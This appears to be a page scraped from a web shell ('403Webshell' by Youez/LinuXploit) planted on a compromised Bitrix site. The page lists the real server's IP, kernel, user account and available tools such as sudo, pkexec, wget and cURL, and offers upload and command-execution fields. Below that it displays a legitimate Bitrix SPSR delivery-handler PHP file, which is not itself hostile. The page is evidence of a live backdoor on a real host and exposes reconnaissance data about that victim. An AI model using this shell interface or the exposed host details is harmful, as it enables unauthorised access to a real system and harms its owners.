403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/handlers/delivery/spsr/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/handlers/delivery/spsr/handler.php
<?php

namespace Sale\Handlers\Delivery;

use Bitrix\Main\Entity\ExpressionField;
use Bitrix\Main\Error;
use Bitrix\Main\Loader;
use Bitrix\Sale\Internals\CompanyTable;
use Bitrix\Sale\Result;
use \Bitrix\Sale\Shipment;
use Bitrix\Main\EventManager;
use Bitrix\Main\Localization\Loc;
use Sale\Handlers\Delivery\Spsr\Location;
use Bitrix\Sale\Delivery\CalculationResult;

Loc::loadMessages(__FILE__);

Loader::registerAutoLoadClasses(
	'sale',
	array(
		'Sale\Handlers\Delivery\Spsr\Cache' => 'handlers/delivery/spsr/cache.php',
		'Sale\Handlers\Delivery\SpsrProfile' => 'handlers/delivery/spsr/profile.php',
		'Sale\Handlers\Delivery\Spsr\Request' => 'handlers/delivery/spsr/request.php',
		'Sale\Handlers\Delivery\SpsrTracking' => 'handlers/delivery/spsr/tracking.php',
		'Sale\Handlers\Delivery\Spsr\Location' => 'handlers/delivery/spsr/location.php',
		'Sale\Handlers\Delivery\Spsr\Calculator' => 'handlers/delivery/spsr/calculator.php'
	)
);

class SpsrHandler extends \Bitrix\Sale\Delivery\Services\Base
{
	/** @var string */
	protected $handlerCode = 'BITRIX_SPSR';

	/** @var bool $canHasProfiles This handler can has profiles */
	protected static $canHasProfiles = true;
	/** @var bool $whetherAdminExtraServicesShow This handler uses extra services */
	protected static $whetherAdminExtraServicesShow = true;
	/** @var string Tracking class */
	protected $trackingClass = '\Sale\Handlers\Delivery\SpsrTracking';

	/**
	 * @inheritDoc
	 */
	public static function getClassTitle()
	{
		return Loc::getMessage("SALE_DLV_SRV_SPSR_TITLE");
	}

	/**
	 * @inheritDoc
	 */
	public static function getClassDescription()
	{
		return Loc::getMessage(
			"SALE_DLV_SRV_SPSR_DESCRIPTION",
			array(
				'#A1#' => '<a href="http://www.spsr.ru/" target="_blank">',
				'#A2#' => '</a>',
			)
		);
	}

	/**
	 * Calculates prices for concrete service
	 * @param Shipment $shipment
	 * @param $tariff
	 * @return CalculationResult
	 */
	public function calculateTariff(Shipment $shipment, $tariff)
	{
		return (new CalculationResult())->addError(new Error('The company no longer exists'));
	}

	/**
	 * @inheritDoc
	 */
	protected function getConfigStructure()
	{
		$natures = array_intersect_key(
			self::getNaturesList(),
			array_flip(
					self::getProfileNatures()
			)
		);

		$result = array(
			"MAIN" => array(
				"TITLE" => Loc::getMessage("SALE_DLV_SRV_SPSR_MAIN_TITLE"),
				"DESCRIPTION" => Loc::getMessage("SALE_DLV_SRV_SPSR_MAIN_DSCR"),
				"ITEMS" => array(
					"CALCULATE_IMMEDIATELY" => array(
						'TYPE' => 'Y/N',
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_CALCULATE_IMMEDIATELY"),
						"DEFAULT" => "Y"
					),
					"DEFAULT_WEIGHT" => array(
						'TYPE' => 'NUMBER',
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_DEFAULT_WEIGHT"),
						"DEFAULT" => "1000"
					),
					"AMOUNT_CHECK" => array(
						"TYPE" => "ENUM",
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_AMOUNT_CHECK"),
						"DEFAULT" => "1",
						"OPTIONS" => array(
								-1 => Loc::getMessage("SALE_DLV_SRV_SPSR_AMOUNT_CHECK__1"),
								0 => Loc::getMessage("SALE_DLV_SRV_SPSR_AMOUNT_CHECK_0"),
								1 => Loc::getMessage("SALE_DLV_SRV_SPSR_AMOUNT_CHECK_1")
						)
					),
					"NATURE" => array(
						"TYPE" => "ENUM",
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_NATURE"),
						"DEFAULT" => "1",
						"REQUIRED" => true,
						"OPTIONS" => $natures
					),
					"LOGIN" => array(
						"TYPE" => "STRING",
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_LOGIN"),
						"DEFAULT" => ""
					),
					"PASS" => array(
						"TYPE" => "STRING",
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_PASS"),
						"DEFAULT" => ""
					),
					"ICN" => array(
						"TYPE" => "STRING",
						"NAME" => Loc::getMessage("SALE_DLV_SRV_SPSR_ICN"),
						"DEFAULT" => ""
					)
				)
			)
		);

		return $result;
	}

	/**
	 * @return int[] Natures of the cargo code => names
	 */
	protected static function getNaturesList()
	{
		$result = array();
		$codes = array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24);

		foreach($codes as $code)
			$result[$code] = Loc::getMessage('SALE_DLV_SRV_SPSR_NATURE_'.$code);

		return $result;
	}

	/**
	 * @param int $profileId
	 * @return int[]
	 */
	protected static function getProfileNatures($profileId = 0)
	{
		if($profileId <= 0)
			return array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24);

		$natures = array(
				20 => array(1, 2, 17), 								//colibri
				21 => array(1, 2, 17), 								//gepard-express 13
				22 => array(1, 2, 17), 								//gepard-express 18
				23 => array(1, 2, 17), 								//gepard-express
				24 => array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24), 	//pelican-standart
				25 => array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24),	//pelican-econom
				26 => array(1, 2, 17, 18, 19, 20, 21, 22 ), 		//bizon-cargo
				27 => array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24), 	//fraxt
				28 => array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24), 	//pelican-online
				35 => array(1, 2, 17 ), 							//gepard-online
				36 => array(1, 2, 17, 18, 19, 20, 21, 22, 23, 24) 	//zebra-online
		);

		return isset($natures[$profileId]) ? $natures[$profileId] : array();
	}

	public function isCalculatePriceImmediately()
	{
		return $this->config['MAIN']['CALCULATE_IMMEDIATELY'] == 'Y';
	}

	/**
	 * @return array Business values.
	 */
	public static function onGetBusinessValueConsumers()
	{
		if(!self::isHoldingUsed())
			return array();

		static $consumers;

		if(!$consumers)
		{
			$providerKeys = array('', 'VALUE', 'COMPANY');

			$codes = array(
				'DELIVERY_SPSR_LOGIN' => array('NAME' => Loc::getMessage('SALE_DLV_SRV_SPSR_LOGIN'), 'SORT' =>  100, 'GROUP' => 'DELIVERY_SPSR_AUTH', 'PROVIDERS' => $providerKeys),
				'DELIVERY_SPSR_PASS' => array('NAME' => Loc::getMessage('SALE_DLV_SRV_SPSR_PASS'), 'SORT' =>  200, 'GROUP' => 'DELIVERY_SPSR_AUTH', 'PROVIDERS' => $providerKeys),
				'DELIVERY_SPSR_ICN' => array('NAME' => Loc::getMessage('SALE_DLV_SRV_SPSR_ICN'), 'SORT' =>  300, 'GROUP' => 'DELIVERY_SPSR_AUTH', 'PROVIDERS' => $providerKeys),
			);

			$consumers = array(
				'SORT'  => 400,
				'GROUP' => 'DELIVERY',
				'CODES' => $codes
			);
		}

		return $consumers;
	}

	public static function onGetBusinessValueGroups()
	{
		if(!self::isHoldingUsed())
			return array();

		return array(
			'DELIVERY_SPSR_AUTH' => array('NAME' => Loc::getMessage('SALE_DLV_SRV_SPSR_BV_AUTH'), 'SORT' => 100),
		);
	}

	private static function isHoldingUsed()
	{
		static $result = null;

		if($result !== null)
			return $result;

		$dbRes = CompanyTable::getList(array(
			'filter' => array('=ACTIVE' => 'Y'),
			'select' => array('CNT'),
    		'runtime' => array(
				new ExpressionField('CNT', 'COUNT(*)'
			))
		));

		if($row = $dbRes->fetch())
			if(intval($row['CNT']) > 1)
				$result = true;

		return $result;
	}

	/**
	 * @inheritDoc
	 */
	public static function getChildrenClassNames()
	{
		return array(
			'\Sale\Handlers\Delivery\SpsrProfile'
		);
	}

	/**
	 * @return string Company name.
	 */
	public static function getCompanyName()
	{
		return '';
	}

	/**
	 * Returns SID required for requests.
	 * @return Result
	 */
	public function getSidResult($shipment = null)
	{
		return (new Result())->addError(new Error('The company no longer exists'));
	}

	/**
	 * @param Shipment|null $shipment
	 * @return string
	 */
	public function getICN($shipment = null)
	{
		return '';
	}

	/**
	 * Returns services list with parameters.
	 * @return Result
	 */
	public function getServiceTypes($shipment = null)
	{
		return (new Result())->addError(new Error('The company no longer exists'));
	}

	/**
	 * @return int[] Services ids we can process.
	 */
	protected function getKnownServices()
	{
		return array(20, 21, 22, 23, 24, 25, 26, 27, 28, 35, 36);
	}

	/**
	 * @inheritDoc
	 */
	public function getEmbeddedExtraServicesList()
	{
		return self::getAlltExtraServices();
	}

	public static function getAlltExtraServices()
	{
		return array(
			"SMS" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_SMS'),
				"SORT" => 100,
				"RIGHTS" => "NYN",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => Loc::getMessage('SALE_DLV_SRV_SPSR_SMS_DESCR'),
				"INIT_VALUE" => "N",
				"PARAMS" => array("PRICE" => 0)
			),
			"SMS_RECV" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_SMS_RECV'),
				"SORT" => 100,
				"RIGHTS" => "NYY",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => Loc::getMessage('SALE_DLV_SRV_SPSR_SMS_RECV_DESCR'),
				"INIT_VALUE" => "Y",
				"PARAMS" => array("PRICE" => 0)
			),
			"BEFORE_SIGNAL" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_BEFORE_SIGNAL'),
				"SORT" => 100,
				"RIGHTS" => "NYY",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => Loc::getMessage('SALE_DLV_SRV_SPSR_BEFORE_SIGNAL_DESCR'),
				"INIT_VALUE" => "N",
				"PARAMS" => array("PRICE" => 0)
			),
			"BY_HAND" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_BY_HAND'),
				"SORT" => 100,
				"RIGHTS" => "NYY",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => Loc::getMessage('SALE_DLV_SRV_SPSR_BY_HAND_DESCR'),
				"INIT_VALUE" => "N",
				"PARAMS" => array("PRICE" => 0)
			),
			"ICD" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_ICD'),
				"SORT" => 100,
				"RIGHTS" => "NYY",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => Loc::getMessage('SALE_DLV_SRV_SPSR_ICD_DESCR'),
				"INIT_VALUE" => "N",
				"PARAMS" => array("PRICE" => 0)
			),
			"TO_BE_CALLED_FOR" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_TO_BE_CALLED_FOR'),
				"SORT" => 100,
				"RIGHTS" => "NYY",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => "",
				"INIT_VALUE" => "N",
				"PARAMS" => array("PRICE" => 0)
			),
			"PLAT_TYPE" => array(
				"NAME" => Loc::getMessage('SALE_DLV_SRV_SPSR_PLAT_TYPE'),
				"SORT" => 100,
				"RIGHTS" => "NYN",
				"ACTIVE" => "Y",
				"CLASS_NAME" => '\Bitrix\Sale\Delivery\ExtraServices\Checkbox',
				"DESCRIPTION" => Loc::getMessage('SALE_DLV_SRV_SPSR_PLAT_TYPE_DESCR'),
				"INIT_VALUE" => "N",
				"PARAMS" => array("PRICE" => 0)
			)
		);
	}

	/**
	 * @param Shipment|null $shipment
	 * @return array Profiles list code => name
	 */
	public function getProfilesList($shipment = null)
	{
		return [];
	}

	/**
	 * @param Shipment $shipment
	 * @return int[] Services types ids compatible with shipment
	 */
	public function getCompatibleProfiles(Shipment $shipment)
	{
		return [];
	}

	/**
	 * @inheritDoc
	 */
	public static function install()
	{
		$eventManager = EventManager::getInstance();
		$eventManager->registerEventHandler(
			'sale',
			'onSaleDeliveryTrackingClassNamesBuildList',
			'sale',
			'\Sale\Handlers\Delivery\SpsrHandler',
			'onSaleDeliveryTrackingClassNamesBuildList'
		);

		Location::install();
	}

	/**
	 * @inheritDoc
	 */
	public static function unInstall()
	{
		$eventManager = EventManager::getInstance();
		$eventManager->unRegisterEventHandler(
			'sale',
			'onSaleDeliveryTrackingClassNamesBuildList',
			'sale',
			'\Sale\Handlers\Delivery\SpsrHandler',
			'onSaleDeliveryTrackingClassNamesBuildList'
		);
		Location::unInstall();
	}

	public static function onSaleDeliveryTrackingClassNamesBuildList()
	{
		return new \Bitrix\Main\EventResult(
			\Bitrix\Main\EventResult::SUCCESS,
			array(
				'\Sale\Handlers\Delivery\SpsrTracking' => '/bitrix/modules/sale/handlers/delivery/spsr/tracking.php'
			),
			'sale'
		);
	}

	/**
	 * @inheritDoc
	 */
	public static function isInstalled()
	{
		return Location::isInstalled();
	}

	public function getProfilesDefaultParams()
	{
		return [];
	}

	/**
	 * @inheritDoc
	 */
	public static function canHasProfiles()
	{
		return self::$canHasProfiles;
	}

	/**
	 * @inheritDoc
	 */
	public static function whetherAdminExtraServicesShow()
	{
		return self::$whetherAdminExtraServicesShow;
	}

	/**
	 * @inheritDoc
	 */
	public function getAdminAdditionalTabs()
	{
		global $APPLICATION;

		ob_start();
		$APPLICATION->IncludeComponent(
			"bitrix:sale.location.map",
			"",
			array(
				"EXTERNAL_LOCATION_CLASS" => '\Sale\Handlers\Delivery\Spsr\Location'
			),
			false
		);
		$content = ob_get_contents();
		ob_end_clean();

		return array(
			array(
				"TAB" => Loc::getMessage('SALE_DLVRS_ADD_LOC_TAB'),
				"TITLE" => Loc::getMessage('SALE_DLVRS_ADD_LOC_TAB_TITLE'),
				"CONTENT" => $content
			)
		);
	}

	/** @inheritDoc */
	public static function isHandlerCompatible()
	{
		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit